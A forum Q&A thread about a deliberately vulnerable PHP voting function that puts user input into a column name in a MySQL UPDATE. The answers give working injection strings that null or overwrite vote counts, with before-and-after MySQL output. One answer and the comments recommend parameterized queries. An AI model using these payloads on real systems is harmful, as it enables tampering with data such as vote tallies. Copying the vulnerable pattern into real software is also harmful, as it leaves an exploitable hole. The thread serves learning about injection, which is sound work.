Is this PHP code vulnerable SQL injection?

Question

Im given control over the $vote variable (in the "challenge" function)

Is there any way to sql inject the query? (BTW I can see/read whatever the challenge function returns e.g. the sql errors. I managed to inject the sql but was not able to find a way to nullify the $vote+1" part so whatever I try to inject leads to a syntax error.)

function evil($vote) 
{ 
    #Comments not allowed ]:-> 
    #Sorry. 
    $vote = str_replace('#', '', $vote); 
    $vote = str_replace('/', '', $vote); 
    $vote = str_replace('*', '', $vote); 
    $vote = str_replace('-', '', $vote); 
    return $vote; 
} 
function challenge($vote) 
{ 
    $vote = evil($vote); 
    $q = "UPDATE `sqlinjection2` SET `$vote`=`$vote`+1"; 
    $r = mysql_query($q); 
    if(!$r) 
        return mysql_error(); 
    return 'Thanks for vote!'; 
}

1. Why not just increment the value in sql? 2. Learn to stop worrying and love the parameters — Neil McGuigan, Jun 13 '16 at 01:44
This is incredibly unsafe because despite your flawed attempt at sanitizing the input string, you are *still* inserting said input string directly into the SQL query. — Shadur, Jul 15 '16 at 09:04
There seems to be a race-condition in this code as well. Parallel execution will result in the slowest thread to set the final value. — oɔɯǝɹ, Jul 15 '16 at 09:36

score 4 · Accepted Answer · answered Jun 12 '16 at 23:30

Removing comments helps against some injections, but by all means not all.

In this case you can still zero any field by setting $vote to construct a logical sequence out of what was an assignment:

 variable   :          vote`=1 + `vote
 query      : ... SET `vote`=1 + `vote`=`vote`=1 + `vote`+1;

This will alternate vote between 0, if it is nonzero, and 1, if it is zero.

But since you can specify a field more than once in the same update, and all the updates will be run, you can also do:

 variable   :          vote`=1, `vote`=X+`vote
 query      : ... SET `vote`=1, `vote`=X+`vote`=`vote`=1, `vote`=X+`vote`+1;

which sets the vote to 1, then to 0, then to 0+X+1, whatever X (except X=0 where it will set the vote to 2).

Sravan · Answer 2 · 2016-06-13T04:37:48.983

Yes you can nullify the vote. The solution is as follows.

The Mysql Database table for voting is instantiated as below.

mysql> use test;
Database changed
mysql> create table sqlinjection2 (ALICE int,BOB int);
Query OK, 0 rows affected (0.03 sec)

mysql> INSERT INTO sqlinjection2 values (0,0);
Query OK, 1 row affected (0.01 sec)

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     0 |       0 |
+-------+---------+
1 row in set (0.00 sec)

Query executed on a normal vote to ALICE

UPDATE `test`.`sqlinjection2` SET `ALICE`=`ALICE`+1

I tried injections like ALICE XOR ALICE but they didn't work.

The one which worked for me was below

Parameter:

 vote=ALICE`=NULL , `ALICE`=`ALICE`

Executed SqlString:

UPDATE `test`.`sqlinjection2` SET `ALICE`=NULL , `ALICE`=`ALICE`=`ALICE`=NULL , `ALICE`=`ALICE`+1

The Table before injection

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     20|      20 |
+-------+---------+
1 row in set (0.00 sec)

The Table after injection

 mysql> select * from sqlinjection2;
    +-------+---------+
    | ALICE | BOB     |
    +-------+---------+
    |  NULL |      20 |
    +-------+---------+
    1 row in set (0.00 sec)

Also ALICE will not win in normal case. Since NULL+1 is NULL.

Update: If you want ALICE to win you can inject something like below parameter

Parameter:

 vote=ALICE`=999999 , `ALICE`=`ALICE`

score 0 · Answer 3 · answered Jul 15 '16 at 09:30

Your entire premise is flawed. That's a terrible design for the database to begin with.

Here's my recommendation for the table structure:

CREATE TABLE votes (  
  id SERIAL PRIMARY KEY,
  candidate VARCHAR(20) UNIQUE NOT NULL,
  votes INT NOT NULL DEFAULT 0
);

Fill it a bit:

INSERT INTO votes (candidate, votes) VALUES ('Alice',0);
INSERT INTO votes (candidate, votes) VALUES ('Bob',0);
INSERT INTO votes (candidate, votes) VALUES ('Fred',0);
INSERT INTO votes (candidate, votes) VALUES ('Dana',0);

So we've got our roster:

sqlinjection2=# SELECT * FROM votes;
 id | candidate | votes 
----+-----------+-------
  1 | Alice     |     0
  2 | Bob       |     0
  3 | Fred      |     0
  4 | Dana      |     0
(4 rows)

And for your code:

function vote($candidate) {
 $query='SELECT votes FROM votes WHERE candidate = ?'
 $dbh=$db->prepare($query);
 $result = $dbh->execute($candidate);
 if($result->rowcount() == 0) { /* Write-in candidate */
   $votes = 0;
   $query = 'INSERT INTO votes (votes, candidate) VALUES (?, ?)';
 } else {
   $row = $result->fetch();
   $votes = $row['votes']
   $query = 'UPDATE votes SET votes=? WHERE candidate = ?';
 }
 $dbh = $db->prepare($query);
 $votes++;
 $result = $dbh->execute($votes, $candidate);
}

(Sorry for the formatting, doing this by hand)

This setup allows for an arbitrary number of candidates without having to retool the table; furthermore it avoids having to rely on input values for column names entirely, and the code uses prepared and parametrized SQL statements.

Exception, transaction and error handling are left as an exercise for the reader.

Is this PHP code vulnerable SQL injection?

3 Answers3